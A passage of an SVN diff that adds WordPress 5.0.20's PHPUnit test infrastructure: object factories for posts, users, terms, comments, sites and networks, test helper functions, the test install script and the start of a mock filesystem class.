+		if ( is_string( $args ) ) {
+			$file = $args;
+			$args = $legacy_args;
+			$args['post_parent'] = $legacy_parent;
+			$args['file'] = $file;
+		}
+
+		$r = array_merge( array(
+			'file' => '',
+			'post_parent' => 0,
+		), $args );
+
+		return wp_insert_attachment( $r, $r['file'], $r['post_parent'] );
+	}
+
+	function create_upload_object( $file, $parent = 0 ) {
+		$contents = file_get_contents($file);
+		$upload = wp_upload_bits(basename($file), null, $contents);
+
+		$type = '';
+		if ( ! empty($upload['type']) ) {
+			$type = $upload['type'];
+		} else {
+			$mime = wp_check_filetype( $upload['file'] );
+			if ($mime)
+				$type = $mime['type'];
+		}
+
+		$attachment = array(
+			'post_title' => basename( $upload['file'] ),
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $parent,
+			'post_mime_type' => $type,
+			'guid' => $upload[ 'url' ],
+		);
+
+		// Save the data
+		$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+
+		return $id;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-blog.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-blog.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-blog.php	(revision 56912)
@@ -0,0 +1,46 @@
+<?php
+
+/**
+ * Unit test factory for sites on a multisite network.
+ *
+ * Note: The below @method notations are defined solely for the benefit of IDEs,
+ * as a way to indicate expected return values from the given factory methods.
+ *
+ * @method int create( $args = array(), $generation_definitions = null )
+ * @method WP_Site create_and_get( $args = array(), $generation_definitions = null )
+ * @method int[] create_many( $count, $args = array(), $generation_definitions = null )
+ */
+class WP_UnitTest_Factory_For_Blog extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		global $current_site, $base;
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'domain' => $current_site->domain,
+			'path' => new WP_UnitTest_Generator_Sequence( $base . 'testpath%s' ),
+			'title' => new WP_UnitTest_Generator_Sequence( 'Site %s' ),
+			'site_id' => $current_site->id,
+		);
+	}
+
+	function create_object( $args ) {
+		global $wpdb;
+		$meta = isset( $args['meta'] ) ? $args['meta'] : array( 'public' => 1 );
+		$user_id = isset( $args['user_id'] ) ? $args['user_id'] : get_current_user_id();
+		// temp tables will trigger db errors when we attempt to reference them as new temp tables
+		$suppress = $wpdb->suppress_errors();
+		$blog = wpmu_create_blog( $args['domain'], $args['path'], $args['title'], $user_id, $meta, $args['site_id'] );
+		$wpdb->suppress_errors( $suppress );
+
+		// Tell WP we're done installing.
+		wp_installing( false );
+
+		return $blog;
+	}
+
+	function update_object( $blog_id, $fields ) {}
+
+	function get_object_by_id( $blog_id ) {
+		return get_site( $blog_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-bookmark.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-bookmark.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-bookmark.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+
+/**
+ * Factory for creating fixtures for the deprecated Links/Bookmarks API.
+ *
+ * Note: The below @method notations are defined solely for the benefit of IDEs,
+ * as a way to indicate expected return values from the given factory methods.
+ *
+ * @since 4.6.0
+ *
+ * @method int create( $args = array(), $generation_definitions = null )
+ * @method object create_and_get( $args = array(), $generation_definitions = null )
+ * @method int[] create_many( $count, $args = array(), $generation_definitions = null )
+ */
+class WP_UnitTest_Factory_For_Bookmark extends WP_UnitTest_Factory_For_Thing {
+
+	public function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'link_name' => new WP_UnitTest_Generator_Sequence( 'Bookmark name %s' ),
+			'link_url' => new WP_UnitTest_Generator_Sequence( 'Bookmark URL %s' ),
+		);
+	}
+
+	public function create_object( $args ) {
+		return wp_insert_link( $args );
+	}
+
+	public function update_object( $link_id, $fields ) {
+		$fields['link_id'] = $link_id;
+		return wp_update_link( $fields );
+	}
+
+	public function get_object_by_id( $link_id ) {
+		return get_bookmark( $link_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-comment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-comment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-comment.php	(revision 56912)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Unit test factory for comments.
+ *
+ * Note: The below @method notations are defined solely for the benefit of IDEs,
+ * as a way to indicate expected return values from the given factory methods.
+ *
+ * @method int create( $args = array(), $generation_definitions = null )
+ * @method WP_Comment create_and_get( $args = array(), $generation_definitions = null )
+ * @method int[] create_many( $count, $args = array(), $generation_definitions = null )
+ */
+class WP_UnitTest_Factory_For_Comment extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'comment_author' => new WP_UnitTest_Generator_Sequence( 'Commenter %s' ),
+			'comment_author_url' => new WP_UnitTest_Generator_Sequence( 'http://example.com/%s/' ),
+			'comment_approved' => 1,
+			'comment_content' => 'This is a comment'
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_comment( $this->addslashes_deep( $args ) );
+	}
+
+	function update_object( $comment_id, $fields ) {
+		$fields['comment_ID'] = $comment_id;
+		return wp_update_comment( $this->addslashes_deep( $fields ) );
+	}
+
+	function create_post_comments( $post_id, $count = 1, $args = array(), $generation_definitions = null ) {
+		$args['comment_post_ID'] = $post_id;
+		return $this->create_many( $count, $args, $generation_definitions );
+	}
+
+	function get_object_by_id( $comment_id ) {
+		return get_comment( $comment_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-network.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-network.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-network.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * Unit test factory for networks.
+ *
+ * Note: The below @method notations are defined solely for the benefit of IDEs,
+ * as a way to indicate expected return values from the given factory methods.
+ *
+ * @method int create( $args = array(), $generation_definitions = null )
+ * @method WP_Network create_and_get( $args = array(), $generation_definitions = null )
+ * @method int[] create_many( $count, $args = array(), $generation_definitions = null )
+ */
+class WP_UnitTest_Factory_For_Network extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'domain' => WP_TESTS_DOMAIN,
+			'title' => new WP_UnitTest_Generator_Sequence( 'Network %s' ),
+			'path' => new WP_UnitTest_Generator_Sequence( '/testpath%s/' ),
+			'network_id' => new WP_UnitTest_Generator_Sequence( '%s', 2 ),
+			'subdomain_install' => false,
+		);
+	}
+
+	function create_object( $args ) {
+		require_once ABSPATH . 'wp-admin/includes/upgrade.php';
+
+		if ( ! isset( $args['user'] ) ) {
+			$email = WP_TESTS_EMAIL;
+		} else {
+			$email = get_userdata( $args['user'] )->user_email;
+		}
+
+		populate_network( $args['network_id'], $args['domain'], $email, $args['title'], $args['path'], $args['subdomain_install'] );
+		return $args['network_id'];
+	}
+
+	function update_object( $network_id, $fields ) {}
+
+	function get_object_by_id( $network_id ) {
+		return get_network( $network_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-post.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-post.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-post.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * Unit test factory for posts.
+ *
+ * Note: The below @method notations are defined solely for the benefit of IDEs,
+ * as a way to indicate expected return values from the given factory methods.
+ *
+ * @method int create( $args = array(), $generation_definitions = null )
+ * @method WP_Post create_and_get( $args = array(), $generation_definitions = null )
+ * @method int[] create_many( $count, $args = array(), $generation_definitions = null )
+ */
+class WP_UnitTest_Factory_For_Post extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'post_status' => 'publish',
+			'post_title' => new WP_UnitTest_Generator_Sequence( 'Post title %s' ),
+			'post_content' => new WP_UnitTest_Generator_Sequence( 'Post content %s' ),
+			'post_excerpt' => new WP_UnitTest_Generator_Sequence( 'Post excerpt %s' ),
+			'post_type' => 'post'
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_post( $args );
+	}
+
+	function update_object( $post_id, $fields ) {
+		$fields['ID'] = $post_id;
+		return wp_update_post( $fields );
+	}
+
+	function get_object_by_id( $post_id ) {
+		return get_post( $post_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-term.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-term.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-term.php	(revision 56912)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Unit test factory for terms.
+ *
+ * Note: The below @method notations are defined solely for the benefit of IDEs,
+ * as a way to indicate expected return values from the given factory methods.
+ *
+ * @method int create( $args = array(), $generation_definitions = null )
+ * @method int[] create_many( $count, $args = array(), $generation_definitions = null )
+ */
+class WP_UnitTest_Factory_For_Term extends WP_UnitTest_Factory_For_Thing {
+
+	private $taxonomy;
+	const DEFAULT_TAXONOMY = 'post_tag';
+
+	function __construct( $factory = null, $taxonomy = null ) {
+		parent::__construct( $factory );
+		$this->taxonomy = $taxonomy ? $taxonomy : self::DEFAULT_TAXONOMY;
+		$this->default_generation_definitions = array(
+			'name' => new WP_UnitTest_Generator_Sequence( 'Term %s' ),
+			'taxonomy' => $this->taxonomy,
+			'description' => new WP_UnitTest_Generator_Sequence( 'Term description %s' ),
+		);
+	}
+
+	function create_object( $args ) {
+		$args = array_merge( array( 'taxonomy' => $this->taxonomy ), $args );
+		$term_id_pair = wp_insert_term( $args['name'], $args['taxonomy'], $args );
+		if ( is_wp_error( $term_id_pair ) )
+			return $term_id_pair;
+		return $term_id_pair['term_id'];
+	}
+
+	function update_object( $term, $fields ) {
+		$fields = array_merge( array( 'taxonomy' => $this->taxonomy ), $fields );
+		if ( is_object( $term ) )
+			$taxonomy = $term->taxonomy;
+		$term_id_pair = wp_update_term( $term, $taxonomy, $fields );
+		return $term_id_pair['term_id'];
+	}
+
+	function add_post_terms( $post_id, $terms, $taxonomy, $append = true ) {
+		return wp_set_post_terms( $post_id, $terms, $taxonomy, $append );
+	}
+
+	/**
+	 * @return array|null|WP_Error|WP_Term
+	 */
+	function create_and_get( $args = array(), $generation_definitions = null ) {
+		$term_id = $this->create( $args, $generation_definitions );
+		$taxonomy = isset( $args['taxonomy'] ) ? $args['taxonomy'] : $this->taxonomy;
+		return get_term( $term_id, $taxonomy );
+	}
+
+	function get_object_by_id( $term_id ) {
+		return get_term( $term_id, $this->taxonomy );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php	(revision 56912)
@@ -0,0 +1,114 @@
+<?php
+
+/**
+ * An abstract class that serves as a basis for all WordPress object-type factory classes.
+ */
+abstract class WP_UnitTest_Factory_For_Thing {
+
+	var $default_generation_definitions;
+	var $factory;
+
+	/**
+	 * Creates a new factory, which will create objects of a specific Thing
+	 *
+	 * @param object $factory Global factory that can be used to create other objects on the system
+	 * @param array $default_generation_definitions Defines what default values should the properties of the object have. The default values
+	 * can be generators -- an object with next() method. There are some default generators: {@link WP_UnitTest_Generator_Sequence},
+	 * {@link WP_UnitTest_Generator_Locale_Name}, {@link WP_UnitTest_Factory_Callback_After_Create}.
+	 */
+	function __construct( $factory, $default_generation_definitions = array() ) {
+		$this->factory = $factory;
+		$this->default_generation_definitions = $default_generation_definitions;
+	}
+
+	abstract function create_object( $args );
+	abstract function update_object( $object, $fields );
+
+	function create( $args = array(), $generation_definitions = null ) {
+		if ( is_null( $generation_definitions ) )
+			$generation_definitions = $this->default_generation_definitions;
+
+		$generated_args = $this->generate_args( $args, $generation_definitions, $callbacks );
+		$created = $this->create_object( $generated_args );
+		if ( !$created || is_wp_error( $created ) )
+			return $created;
+
+		if ( $callbacks ) {
+			$updated_fields = $this->apply_callbacks( $callbacks, $created );
+			$save_result = $this->update_object( $created, $updated_fields );
+			if ( !$save_result || is_wp_error( $save_result ) )
+				return $save_result;
+		}
+		return $created;
+	}
+
+	function create_and_get( $args = array(), $generation_definitions = null ) {
+		$object_id = $this->create( $args, $generation_definitions );
+		return $this->get_object_by_id( $object_id );
+	}
+
+	abstract function get_object_by_id( $object_id );
+
+	function create_many( $count, $args = array(), $generation_definitions = null ) {
+		$results = array();
+		for ( $i = 0; $i < $count; $i++ ) {
+			$results[] = $this->create( $args, $generation_definitions );
+		}
+		return $results;
+	}
+
+	function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) {
+		$callbacks = array();
+		if ( is_null( $generation_definitions ) )
+			$generation_definitions = $this->default_generation_definitions;
+
+		// Use the same incrementor for all fields belonging to this object.
+		$gen  = new WP_UnitTest_Generator_Sequence();
+		$incr = $gen->get_incr();
+
+		foreach( array_keys( $generation_definitions ) as $field_name ) {
+			if ( !isset( $args[$field_name] ) ) {
+				$generator = $generation_definitions[$field_name];
+				if ( is_scalar( $generator ) ) {
+					$args[$field_name] = $generator;
+				} elseif ( is_object( $generator ) && method_exists( $generator, 'call' ) ) {
+					$callbacks[$field_name] = $generator;
+				} elseif ( is_object( $generator ) ) {
+					$args[ $field_name ] = sprintf( $generator->get_template_string(), $incr );
+				} else {
+					return new WP_Error( 'invalid_argument', 'Factory default value should be either a scalar or an generator object.' );
+				}
+			}
+		}
+
+		return $args;
+	}
+
+	function apply_callbacks( $callbacks, $created ) {
+		$updated_fields = array();
+		foreach( $callbacks as $field_name => $generator ) {
+			$updated_fields[$field_name] = $generator->call( $created );
+		}
+		return $updated_fields;
+	}
+
+	function callback( $function ) {
+		return new WP_UnitTest_Factory_Callback_After_Create( $function );
+	}
+
+	function addslashes_deep($value) {
+		if ( is_array( $value ) ) {
+			$value = array_map( array( $this, 'addslashes_deep' ), $value );
+		} elseif ( is_object( $value ) ) {
+			$vars = get_object_vars( $value );
+			foreach ($vars as $key=>$data) {
+				$value->{$key} = $this->addslashes_deep( $data );
+			}
+		} elseif ( is_string( $value ) ) {
+			$value = addslashes( $value );
+		}
+
+		return $value;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-user.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-user.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-user.php	(revision 56912)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * Unit test factory for users.
+ *
+ * Note: The below @method notations are defined solely for the benefit of IDEs,
+ * as a way to indicate expected return values from the given factory methods.
+ *
+ * @method int create( $args = array(), $generation_definitions = null )
+ * @method WP_User create_and_get( $args = array(), $generation_definitions = null )
+ * @method int[] create_many( $count, $args = array(), $generation_definitions = null )
+ */
+class WP_UnitTest_Factory_For_User extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'user_login' => new WP_UnitTest_Generator_Sequence( 'User %s' ),
+			'user_pass' => 'password',
+			'user_email' => new WP_UnitTest_Generator_Sequence( 'user_%s@example.org' ),
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_user( $args );
+	}
+
+	function update_object( $user_id, $fields ) {
+		$fields['ID'] = $user_id;
+		return wp_update_user( $fields );
+	}
+
+	function get_object_by_id( $user_id ) {
+		return new WP_User( $user_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * A factory for making WordPress data with a cross-object type API.
+ *
+ * Tests should use this factory to generate test fixtures.
+ */
+class WP_UnitTest_Factory {
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Post
+	 */
+	public $post;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Attachment
+	 */
+	public $attachment;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Comment
+	 */
+	public $comment;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_User
+	 */
+	public $user;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $term;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $category;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $tag;
+
+	/**
+	 * @since 4.6.0
+	 * @var WP_UnitTest_Factory_For_Bookmark
+	 */
+	public $bookmark;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Blog
+	 */
+	public $blog;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Network
+	 */
+	public $network;
+
+	function __construct() {
+		$this->post = new WP_UnitTest_Factory_For_Post( $this );
+		$this->attachment = new WP_UnitTest_Factory_For_Attachment( $this );
+		$this->comment = new WP_UnitTest_Factory_For_Comment( $this );
+		$this->user = new WP_UnitTest_Factory_For_User( $this );
+		$this->term = new WP_UnitTest_Factory_For_Term( $this );
+		$this->category = new WP_UnitTest_Factory_For_Term( $this, 'category' );
+		$this->tag = new WP_UnitTest_Factory_For_Term( $this, 'post_tag' );
+		$this->bookmark = new WP_UnitTest_Factory_For_Bookmark( $this );
+		if ( is_multisite() ) {
+			$this->blog = new WP_UnitTest_Factory_For_Blog( $this );
+			$this->network = new WP_UnitTest_Factory_For_Network( $this );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-generator-sequence.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-generator-sequence.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-generator-sequence.php	(revision 56912)
@@ -0,0 +1,45 @@
+<?php
+
+class WP_UnitTest_Generator_Sequence {
+	static $incr = -1;
+	public $next;
+	public $template_string;
+
+	function __construct( $template_string = '%s', $start = null ) {
+		if ( $start ) {
+			$this->next = $start;
+		} else {
+			self::$incr++;
+			$this->next = self::$incr;
+		}
+		$this->template_string = $template_string;
+	}
+
+	function next() {
+		$generated = sprintf( $this->template_string , $this->next );
+		$this->next++;
+		return $generated;
+	}
+
+	/**
+	 * Get the incrementor.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return int
+	 */
+	public function get_incr() {
+		return self::$incr;
+	}
+
+	/**
+	 * Get the template string.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return string
+	 */
+	public function get_template_string() {
+		return $this->template_string;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/functions.php	(revision 56912)
@@ -0,0 +1,198 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/class-basic-object.php';
+require_once dirname( __FILE__ ) . '/class-basic-subclass.php';
+
+/**
+ * Resets various `$_SERVER` variables that can get altered during tests.
+ */
+function tests_reset__SERVER() {
+	$_SERVER['HTTP_HOST']       = WP_TESTS_DOMAIN;
+	$_SERVER['REMOTE_ADDR']     = '127.0.0.1';
+	$_SERVER['REQUEST_METHOD']  = 'GET';
+	$_SERVER['REQUEST_URI']     = '';
+	$_SERVER['SERVER_NAME']     = WP_TESTS_DOMAIN;
+	$_SERVER['SERVER_PORT']     = '80';
+	$_SERVER['SERVER_PROTOCOL'] = 'HTTP/1.1';
+
+	unset( $_SERVER['HTTP_REFERER'] );
+	unset( $_SERVER['HTTPS'] );
+}
+
+// For adding hooks before loading WP
+function tests_add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+	global $wp_filter;
+
+	if ( function_exists( 'add_filter' ) ) {
+		add_filter( $tag, $function_to_add, $priority, $accepted_args );
+	} else {
+		$idx = _test_filter_build_unique_id($tag, $function_to_add, $priority);
+		$wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);
+	}
+	return true;
+}
+
+function _test_filter_build_unique_id($tag, $function, $priority) {
+	if ( is_string($function) )
+		return $function;
+
+	if ( is_object($function) ) {
+		// Closures are currently implemented as objects
+		$function = array( $function, '' );
+	} else {
+		$function = (array) $function;
+	}
+
+	if (is_object($function[0]) ) {
+		return spl_object_hash($function[0]) . $function[1];
+	} else if ( is_string($function[0]) ) {
+		// Static Calling
+		return $function[0].$function[1];
+	}
+}
+
+function _delete_all_data() {
+	global $wpdb;
+
+	foreach ( array(
+		$wpdb->posts,
+		$wpdb->postmeta,
+		$wpdb->comments,
+		$wpdb->commentmeta,
+		$wpdb->term_relationships,
+		$wpdb->termmeta
+	) as $table ) {
+		$wpdb->query( "DELETE FROM {$table}" );
+	}
+
+	foreach ( array(
+		$wpdb->terms,
+		$wpdb->term_taxonomy
+	) as $table ) {
+		$wpdb->query( "DELETE FROM {$table} WHERE term_id != 1" );
+	}
+
+	$wpdb->query( "UPDATE {$wpdb->term_taxonomy} SET count = 0" );
+
+	$wpdb->query( "DELETE FROM {$wpdb->users} WHERE ID != 1" );
+	$wpdb->query( "DELETE FROM {$wpdb->usermeta} WHERE user_id != 1" );
+}
+
+function _delete_all_posts() {
+	global $wpdb;
+
+	$all_posts = $wpdb->get_results( "SELECT ID, post_type from {$wpdb->posts}", ARRAY_A );
+	if ( ! $all_posts ) {
+		return;
+	}
+
+	foreach ( $all_posts as $data ) {
+		if ( 'attachment' === $data['post_type'] ) {
+			wp_delete_attachment( $data['ID'], true );
+		} else {
+			wp_delete_post( $data['ID'], true );
+		}
+	}
+}
+
+function _wp_die_handler( $message, $title = '', $args = array() ) {
+	if ( !$GLOBALS['_wp_die_disabled'] ) {
+		_wp_die_handler_txt( $message, $title, $args);
+	} else {
+		//Ignore at our peril
+	}
+}
+
+function _disable_wp_die() {
+	$GLOBALS['_wp_die_disabled'] = true;
+}
+
+function _enable_wp_die() {
+	$GLOBALS['_wp_die_disabled'] = false;
+}
+
+function _wp_die_handler_filter() {
+	return '_wp_die_handler';
+}
+
+function _wp_die_handler_filter_exit() {
+	return '_wp_die_handler_exit';
+}
+
+function _wp_die_handler_txt( $message, $title, $args ) {
+	echo "\nwp_die called\n";
+	echo "Message : $message\n";
+	echo "Title : $title\n";
+	if ( ! empty( $args ) ) {
+		echo "Args: \n";
+		foreach( $args as $k => $v ){
+			echo "\t $k : $v\n";
+		}
+	}
+}
+
+function _wp_die_handler_exit( $message, $title, $args ) {
+	echo "\nwp_die called\n";
+	echo "Message : $message\n";
+	echo "Title : $title\n";
+	if ( ! empty( $args ) ) {
+		echo "Args: \n";
+		foreach( $args as $k => $v ){
+			echo "\t $k : $v\n";
+		}
+	}
+	exit( 1 );
+}
+
+/**
+ * Set a permalink structure.
+ *
+ * Hooked as a callback to the 'populate_options' action, we use this function to set a permalink structure during
+ * `wp_install()`, so that WP doesn't attempt to do a time-consuming remote request.
+ *
+ * @since 4.2.0
+ */
+function _set_default_permalink_structure_for_tests() {
+	update_option( 'permalink_structure', '/%year%/%monthnum%/%day%/%postname%/' );
+}
+
+/**
+ * Helper used with the `upload_dir` filter to remove the /year/month sub directories from the uploads path and URL.
+ */
+function _upload_dir_no_subdir( $uploads ) {
+	$subdir = $uploads['subdir'];
+
+	$uploads['subdir'] = '';
+	$uploads['path'] = str_replace( $subdir, '', $uploads['path'] );
+	$uploads['url'] = str_replace( $subdir, '', $uploads['url'] );
+
+	return $uploads;
+}
+
+/**
+ * Helper used with the `upload_dir` filter to set https upload URL.
+ */
+function _upload_dir_https( $uploads ) {
+	$uploads['url'] = str_replace( 'http://', 'https://', $uploads['url'] );
+	$uploads['baseurl'] = str_replace( 'http://', 'https://', $uploads['baseurl'] );
+
+	return $uploads;
+}
+
+// Skip `setcookie` calls in auth_cookie functions due to warning:
+// Cannot modify header information - headers already sent by ...
+tests_add_filter( 'send_auth_cookies', '__return_false' );
+
+/**
+ * After the init action has been run once, trying to re-register block types can cause
+ * _doing_it_wrong warnings. To avoid this, unhook the block registration functions.
+ *
+ * @since 5.0.0
+ */
+function _unhook_block_registration() {
+	remove_action( 'init', 'register_block_core_archives' );
+	remove_action( 'init', 'register_block_core_categories' );
+	remove_action( 'init', 'register_block_core_latest_posts' );
+	remove_action( 'init', 'register_block_core_shortcode' );
+}
+tests_add_filter( 'init', '_unhook_block_registration', 1000 );
Index: /tags/5.0.20/tests/phpunit/includes/install.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/install.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/install.php	(revision 56912)
@@ -0,0 +1,88 @@
+<?php
+/**
+ * Installs WordPress for the purpose of the unit-tests
+ *
+ * @todo Reuse the init/load code in init.php
+ */
+error_reporting( E_ALL & ~E_DEPRECATED & ~E_STRICT );
+
+$config_file_path = $argv[1];
+$multisite = ! empty( $argv[2] );
+
+define( 'WP_INSTALLING', true );
+require_once $config_file_path;
+require_once dirname( __FILE__ ) . '/functions.php';
+
+// Set the theme to our special empty theme, to avoid interference from the current Twenty* theme.
+if ( ! defined( 'WP_DEFAULT_THEME' ) ) {
+	define( 'WP_DEFAULT_THEME', 'default' );
+}
+
+tests_reset__SERVER();
+
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+tests_add_filter( 'wp_die_handler', '_wp_die_handler_filter_exit' );
+
+require_once ABSPATH . '/wp-settings.php';
+
+require_once ABSPATH . '/wp-admin/includes/upgrade.php';
+require_once ABSPATH . '/wp-includes/wp-db.php';
+
+// Override the PHPMailer
+global $phpmailer;
+require_once( dirname( __FILE__ ) . '/mock-mailer.php' );
+$phpmailer = new MockPHPMailer();
+
+register_theme_directory( dirname( __FILE__ ) . '/../data/themedir1' );
+
+/*
+ * default_storage_engine and storage_engine are the same option, but storage_engine
+ * was deprecated in MySQL (and MariaDB) 5.5.3, and removed in 5.7.
+ */
+if ( version_compare( $wpdb->db_version(), '5.5.3', '>=' ) ) {
+	$wpdb->query( 'SET default_storage_engine = InnoDB' );
+} else {
+	$wpdb->query( 'SET storage_engine = InnoDB' );
+}
+$wpdb->select( DB_NAME, $wpdb->dbh );
+
+echo "Installing..." . PHP_EOL;
+
+$wpdb->query( "SET foreign_key_checks = 0" );
+foreach ( $wpdb->tables() as $table => $prefixed_table ) {
+	$wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+}
+
+foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
+	$wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+
+	// We need to create references to ms global tables.
+	if ( $multisite )
+		$wpdb->$table = $prefixed_table;
+}
+$wpdb->query( "SET foreign_key_checks = 1" );
+
+// Prefill a permalink structure so that WP doesn't try to determine one itself.
+add_action( 'populate_options', '_set_default_permalink_structure_for_tests' );
+
+wp_install( WP_TESTS_TITLE, 'admin', WP_TESTS_EMAIL, true, null, 'password' );
+
+// Delete dummy permalink structure, as prefilled above.
+if ( ! is_multisite() ) {
+	delete_option( 'permalink_structure' );
+}
+remove_action( 'populate_options', '_set_default_permalink_structure_for_tests' );
+
+if ( $multisite ) {
+	echo "Installing network..." . PHP_EOL;
+
+	define( 'WP_INSTALLING_NETWORK', true );
+
+	$title = WP_TESTS_TITLE . ' Network';
+	$subdomain_install = false;
+
+	install_network();
+	populate_network( 1, WP_TESTS_DOMAIN, WP_TESTS_EMAIL, $title, '/', $subdomain_install );
+	$wp_rewrite->set_permalink_structure( '' );
+}
Index: /tags/5.0.20/tests/phpunit/includes/mock-fs.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/mock-fs.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/mock-fs.php	(revision 56912)
@@ -0,0 +1,228 @@
+<?php
+class WP_Filesystem_MockFS extends WP_Filesystem_Base {
+	private $cwd;
+
+	// Holds a array of objects which contain an array of objects, etc.
+	private $fs = null;
+
+	// Holds a array of /path/to/file.php and /path/to/dir/ map to an object in $fs above
+	// a fast more efficient way of determining if a path exists, and access to that node
+	private $fs_map = array();
+
+	public $verbose = false; // Enable to debug WP_Filesystem_Base::find_folder() / etc.
+	public $errors = array();
+	public $method = 'MockFS';
+
+	function __construct() {}
+
+	function connect() {
+		return true;
+	}
+
+	// Copy of core's function, but accepts a path.
+	function abspath( $path = false ) {
+		if ( ! $path )
+			$path = ABSPATH;
+		$folder = $this->find_folder( $path );
+
+		// Perhaps the FTP folder is rooted at the WordPress installation, Check for wp-includes folder in root, Could have some false positives, but rare.
+		if ( ! $folder && $this->is_dir('/wp-includes') )
+			$folder = '/';
+		return $folder;
+	}
+
+	// Mock FS specific functions:
+
+	/**
